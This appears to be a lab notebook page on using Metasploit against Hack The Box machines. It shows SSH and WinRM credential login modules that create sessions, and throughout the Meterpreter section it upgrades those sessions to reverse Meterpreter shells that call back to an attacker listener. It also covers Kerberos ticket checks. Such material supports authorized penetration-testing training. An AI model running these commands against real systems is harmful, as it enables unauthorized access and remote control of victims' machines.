SSH / WinRM Login

Create sessions over SSH or WinRM and upgrade to Meterpreter only when needed. Configure credentials interactively rather than saving them in Git-tracked .rc files.

Creating a session through SSH login

Load the rc/ssh_login.prompt.rc template and pass credentials at runtime.

use auxiliary/scanner/ssh/ssh_login
set STOP_ON_SUCCESS true
set CreateSession true
show options

resource ~/lab/msf/rc/ssh_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

This is enough to verify a single known credential. When trying a password list, check the permitted rate and account lockout conditions even in an authorized HTB environment.

For key-based authentication, use KEY_FILE.

run verbose=true rhosts=10.10.11.123 username=svc-user key_file=/path/to/id_rsa createsession=true

Running commands or interacting directly with sshexec

exploit/multi/ssh/sshexec runs commands over SSH and can open an interactive session on some targets. Check the available targets first.

use exploit/multi/ssh/sshexec; show targets

use exploit/multi/ssh/sshexec; set TARGET <ssh_interact_target_id>; run verbose=true payload=generic/ssh/interact rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

Creating a session through WinRM login

The rc/winrm_login.prompt.rc template contains:

use auxiliary/scanner/winrm/winrm_login
set RPORT 5985
set DOMAIN .
set CreateSession true
show options

resource ~/lab/msf/rc/winrm_login.prompt.rc; run verbose=true rhosts=10.10.11.123 username=svc-user password=PASSWORD_HERE; sessions -l

Condition	Setting
Local account	DOMAIN .
AD domain account	Set DOMAIN to its NetBIOS name or FQDN
HTTP WinRM	RPORT 5985, SSL false
HTTPS WinRM	RPORT 5986, SSL true

Kerberos-based WinRM has different prerequisites from NTLM login. Check klist, the SPN, time synchronization, and name resolution first, and handle it as a separate procedure.

Checking the session

sessions -l
sessions -i 1

After finishing work in the shell session, use background or Ctrl-Z to return. Keeping the original login session open gives you a recovery path if the upgrade fails.

Upgrading to Meterpreter

Create a separate Meterpreter reverse session from the shell session established through SSH or WinRM. This does not turn the SSH or WinRM connection itself into a Meterpreter connection.

The shortest route is sessions -u, which runs post/multi/manage/shell_to_meterpreter internally.

sessions -u 1
sessions -l

To specify options explicitly, run the post module directly.

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=true; sessions -l

For Linux x64 when the OS or architecture is misidentified:

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=true

For Windows x64:

run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=true

Check the following:

• SESSION is the number of the SSH, WinRM, or shell session.
• The target can connect back to Kali at LHOST:LPORT.
• The VPN IP address is specified (for example, the address on tun0).
• Keep the original session open.

For diagnosing failures, see Troubleshooting.

Starting with ticket checks

get_ticket can retrieve, list, inject, and request service tickets. First check whether tickets are present in the Windows session.

sessions -i 1
shell
klist

Look for:

• A TGT in the current logon session.
• A TGS for the target service already in the cache.
• The Client, Server, expiration time, and encryption type.
• Time differences between the DC and endpoint, name resolution, and consistency of the destination SPN.

For Kerberos prerequisites, see Kerberos Authentication.